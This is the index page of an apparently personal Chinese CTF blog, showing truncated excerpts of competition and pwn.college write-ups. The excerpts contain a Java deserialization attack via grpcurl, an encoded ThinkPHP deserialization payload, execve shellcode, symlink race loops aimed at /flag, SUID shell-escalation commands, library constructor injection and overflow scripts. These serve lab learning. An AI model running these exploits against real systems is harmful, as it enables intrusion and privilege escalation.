Dem0のdiary
37b9ed6e050d8a0d042b7509bd9919a48e76ee1bc3a6239886b9bc2261c570a02f0b753813b4dbe90a498186f698b6c6ccb3eff7e9ac8abf80afea3922f3596ca73b389bd22343ef003a2529767999e4144c8f33709f1b3dc1a515de1dc445f141e8059e75d8a3a61058778f021f9ed9bfd5b3ca3628c115f18bc87d9b596ffb4f8a163eff7ca9cc7099e8303b48e0a89278f2c70966d53926587a15c8af40629db592e7636095839b2fffa882a0765702f552aff5cf0dbc955253b7571659f85d8781cd9a0b28a59a7ab7e962da8c186db2abef7a718682e21ea058b12c87f39c130d9ca43627795e3b882b9befb34faa53fe31aac6f871b ...
强网杯2023-最开心的一集
强网杯2023-最开心的一集第一次作为没有什么地位的队长+打工人+weber+毫无体验感的一场比赛,最后成功将自己玩成了一个密码手下面给出雷泽战队的WP
WEBhappygamegrpc服务,list列举服务,发现反序列化字段,随便打一串上去,发现是java反序列化错误报错,直接盲打,cc1-11,发现cc6的时候,成功拿到反弹shell
./grpcurl -plaintext -d '{"serializeData": ""}' -vv ip:port helloworld.Greeter/ProcessMsg
thinkshop数据库里面有账号密码,拿出来直接登录,然后反序列化
http://eci-2ze245ak3rvcs9fa77ix.cloudeci1.ichunqiu.com/public/index.php/index/admin/do_edit.html
POST:
data%60%3D%22YToxOntpOjA7TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xX ...
pwncollege-shellcode injection
Shellcode Injection以下题目的模板
# Shell
shellcode = f'''
push 0x{b'h'.hex()}
mov rax, 0x{b'/bin/bas'[::-1].hex()}
push rax
mov rdi, rsp
push 0x{b'-p'[::-1].hex()}
mov rsi, rsp
push 0
push rsi
push rdi
mov rsi, rsp
mov rdx, 0 # NULL
mov rax, SYS_execve
syscall
'''
# For read
shellcode = f'''
mov rax, 0x{b'/flag'[::-1].hex()}
push rax
mov rdi, rsp # /flag
mov rsi, 0 # O_RDONLY
mov rax, SYS_op ...
pwncollege-sandbox
0x01 chrootchroot("/tmp/jail");
chdir("/");
这是一个正常的用法,但是如果我们没有 chdir这一步,则会出现越狱的情况。chroot没有记忆如图所示
0x02 seccomp
首先我们创建了一个scmp的一个filter,数据结构
初始化seccomp,用的默认规则
阻止了 execve的系统调用
使用了scecomp
原理:提到了 ebpf
0x03 escape seccomp主要原理:利用允许syscall,来进行有限的利用,从而达到break out的效果。利用宽松的限制条件,导致出现了一个能够escape的系统调用出现在了限制之中,最后完成越狱。在32位和64位的系统中,想用的系统调用的系统调用号不同,容易出现越狱。内核问题,太高级了~~~
0x04 Challengeslevel-1
../../../../../../flag
level-2
from pwn import *
context.arch = 'amd64'
context.os = 'lin ...
pwncollege-条件竞争
条件竞争0x01 Study很基础的原理,主要记录一下利用思路:Nicelink创建线程一些进程操作安全问题多线程的安全问题在操作系统课程上讲的一样,这里就不展开了。信号处理
0x02 题目Level 1.1
while :; do ln -f -s /flag a; rm a ; echo 123 > a; done;
Level 2.1
上诉通杀
Level 3.1略Level 4.1
from pwn import *
context.arch="amd64"
with open("bigFile","wb") as f:
f.write(b"a"*0x190+p64(0xa)+p64(0x4012d6))
# cp bigFile a
Level 5.1
mkdir bad
ln -s /flag bad/ls
ln -s /bin good
while :; do ln -sfT good a; ln -sfT bad a; done
while true; do /chal ...
pwncollege-shellcode injection
Program MisuseLinux File System
babysuid
/bin/sh -p 将会保存权限
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
genisoimage -sort "/flag"
find . -exec /bin/sh -p \; -quit
Level-40: mv命令的非预期
Level-51: 编写so
#include<stdio.h>
#include<stdlib.h>
static void inject() __attribute__((constructor));
void C_GetFunctionList(){
printf("euid:%d\n",geteuid());
sendfile ...
pwncollege-Program
Level-3from pwn import *
context.log_level="debug"
context.arch="amd64"
context.os="linux"
'''
input_buffer = 0x7fffffffce30
buff_new = 0x7fffffffccf0
0x7fffffffdec0
can =
ret_add = 0x7fffffffce88
'''
p = process("./toddlerone_level3.1")
script = '''
b*$rebase(0x195e)
'''
# p = gdb.debug("./toddlerone_level3.1",aslr=False,gdbscript=script)
cannary_offset = 0x48
stack_base = cannary_offset ...
pwncollege-shellcode injection
shellcode injection课程.global _start
_start:
.intel_syntax noprefix
mov rax, 59 #execve
lea rdi, [rip+binsh] #point /bin/sh
mov rsi, 0
mov rdx, 0
syscall
binsh:
.string "/bin/sh"
编译
gcc -nostdlib -static shellcode.s -o shellcode-elf
调试
strace ./shellcode-elf
用于pwn
objcopy --dump-section .text=shellcode-raw shellcode-elf
对于其他架构的shellcode
amd64: gcc -nostdlib -static shellcode.s -o shellcode-elf
mips: mips-linux-gnu-gcc - ...
一道有趣的re题目
pwncollege-Re22.10x01 题目初看根据题目描述,我们大致了解到这是一个关于VM的题目,但这里不同的是 需要我们自己提供shellcode,好像已经拿捏了?在拖进ida看看呢?
我们继续向下看,此处省略分析的10086步.,直接给出结论
1. opcode arg1 arg2
2. opcode和对应的调用是每次运行随机的
下面列出所有的操作和对应的参数[imm,stk,add,stm,ldm,cmp,jmp,sys]
sys
open
read_mem
read_code
write
sleep
exit
其中OPCODE,寄存器,标志位,系统调用号的取值范围为[1,2,4,8,16,32,64,128]
0x02 题目解答
N1CTF复现游记
N1CTF复现游记
这周日做了N1CTF,作为一个老年web手的复健路上的第一步,我的评价是:找罪受
Signin-larvaelCVE-2021-3129 的变种之再变种,究极无敌变种,关键代码部分放在下面
public function makeOptional(array $parameters = [])
{
if(strpos($parameters['viewFile'], 'phar') !== false){
die("error,no!");
}
if(strpos($parameters['viewFile'], 'log') !== false){
die("error,no!");
}
$originalContents = file_get_contents($para ...